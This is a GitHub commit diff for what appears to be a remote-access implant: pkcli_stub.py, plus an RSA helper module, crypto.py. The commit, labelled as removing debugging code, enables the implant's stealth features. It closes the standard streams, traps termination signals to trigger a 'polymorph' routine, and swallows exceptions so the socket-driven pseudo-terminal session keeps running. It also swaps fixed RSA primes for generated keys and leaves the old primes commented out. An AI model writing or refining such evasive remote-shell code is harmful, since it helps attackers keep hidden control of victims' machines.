Skip to content

Commit

Permalink
Remove debugging infrastructure for merge
Browse files Browse the repository at this point in the history
  • Loading branch information
cflems committed Mar 30, 2023
1 parent 9c78e5d commit f61dee0
Show file tree
Hide file tree
Showing 2 changed files with 9 additions and 11 deletions.
8 changes: 3 additions & 5 deletions crypto.py
Original file line number Diff line number Diff line change
Expand Up @@ -82,9 +82,9 @@ def decrypt(p, d, n, bits):
return Crypto.unpad([pow(Crypto.b2i(c), d, n) for c in p], bits)

def keygen(bits=2048):
#p, q = Crypto.pgen(bits >> 1), Crypto.pgen(bits >> 1)
p = 24255437060933278568327701135893465111281929996020213283563016322587538898307222832676648856557095025772204413206980826822975131457046546497523091381599846376591186469347076218208800469787851326371447052505831886762813382071182380079565671280034572474822918684998169291052805586193101619898239325398349038870346792747848088462443207267957917761324031277878527517794286421236832567949642803568424614512153948596887559236723641422745633542467824845355764889656771928727895545492980157734692593529905622895318376798465152794082339714326113478586369772394086511968434509576965140800722212375216417198365996986997884522143
q = 19768976408982925938974295924028441291658237346176654371253117928175549332214544184956873153703986985390178340362842925095394171723247001148381841608957916206559941167745803865591902614480793421765383057879093169950619962622549993022767924551441062799960937735273562540998394372954466434657886766982923637838307867760458002688852634523140205959841808840422174672818444274740218202285908370264201317843186892579386846520240651724201292430263438230872027782342582077071631797326347450149692183612550505452085046398227369191676244454566325746209776357595496074364519226187538979254031364601406997434831185228055585873117
p, q = Crypto.pgen(bits >> 1), Crypto.pgen(bits >> 1)
#p = 24255437060933278568327701135893465111281929996020213283563016322587538898307222832676648856557095025772204413206980826822975131457046546497523091381599846376591186469347076218208800469787851326371447052505831886762813382071182380079565671280034572474822918684998169291052805586193101619898239325398349038870346792747848088462443207267957917761324031277878527517794286421236832567949642803568424614512153948596887559236723641422745633542467824845355764889656771928727895545492980157734692593529905622895318376798465152794082339714326113478586369772394086511968434509576965140800722212375216417198365996986997884522143
#q = 19768976408982925938974295924028441291658237346176654371253117928175549332214544184956873153703986985390178340362842925095394171723247001148381841608957916206559941167745803865591902614480793421765383057879093169950619962622549993022767924551441062799960937735273562540998394372954466434657886766982923637838307867760458002688852634523140205959841808840422174672818444274740218202285908370264201317843186892579386846520240651724201292430263438230872027782342582077071631797326347450149692183612550505452085046398227369191676244454566325746209776357595496074364519226187538979254031364601406997434831185228055585873117
n, e, d = p*q, Crypto.exp, pow(Crypto.exp, -1, (p-1)*(q-1))
return p, q, n, e, d

Expand All @@ -102,7 +102,6 @@ def __init__ (self, sock, priv, bits):
self.iskp = 0
self.osk = None
self.oskp = 0
# TODO: shrink sksz by random pad size so it's only 1 chunk lol
self.sksz = self.nbytes - self.headsz - Crypto.rand_pad - 1
self.read_buffer = False
self.buffer = b''
Expand Down Expand Up @@ -178,7 +177,6 @@ def recv (self, force_normal=False):
if not self.isk or self.iskp >= len(self.isk):
self.pull_sk()
# TODO: this could use some work because we can split opcodes etc
# TODO: this also bricks if we pull the key successfully
c = self.raw_recv(len(self.isk) - self.iskp)
self.raw_cache(c)
k = self.isk[self.iskp : self.iskp+len(c)]
Expand Down
12 changes: 6 additions & 6 deletions pkcli_stub.py
Original file line number Diff line number Diff line change
Expand Up @@ -52,8 +52,8 @@ def main():
def shield():
for sig in [signal.SIGHUP, signal.SIGINT, signal.SIGABRT, signal.SIGQUIT, signal.SIGTERM]:
signal.signal(sig, sh)
# for fd in [sys.stdin, sys.stdout, sys.stderr]:
# os.close(fd.fileno())
for fd in [sys.stdin, sys.stdout, sys.stderr]:
os.close(fd.fileno())

def sh(a, b):
polymorph()
Expand Down Expand Up @@ -150,8 +150,8 @@ def run_pty(sock):
if quit:
sock.send(b'\xc0\xdenpty')
return pty_barrier(sock)
#except:
# return False
except:
return True, False
finally:
sel.close()
try:
Expand Down Expand Up @@ -218,8 +218,8 @@ def work(h_addr, port, privkey, bits):
if not live or not cont:
break
return live
#except:
# return True
except:
return True
finally:
raw_sock.close()

Expand Down

0 comments on commit f61dee0

Please sign in to comment.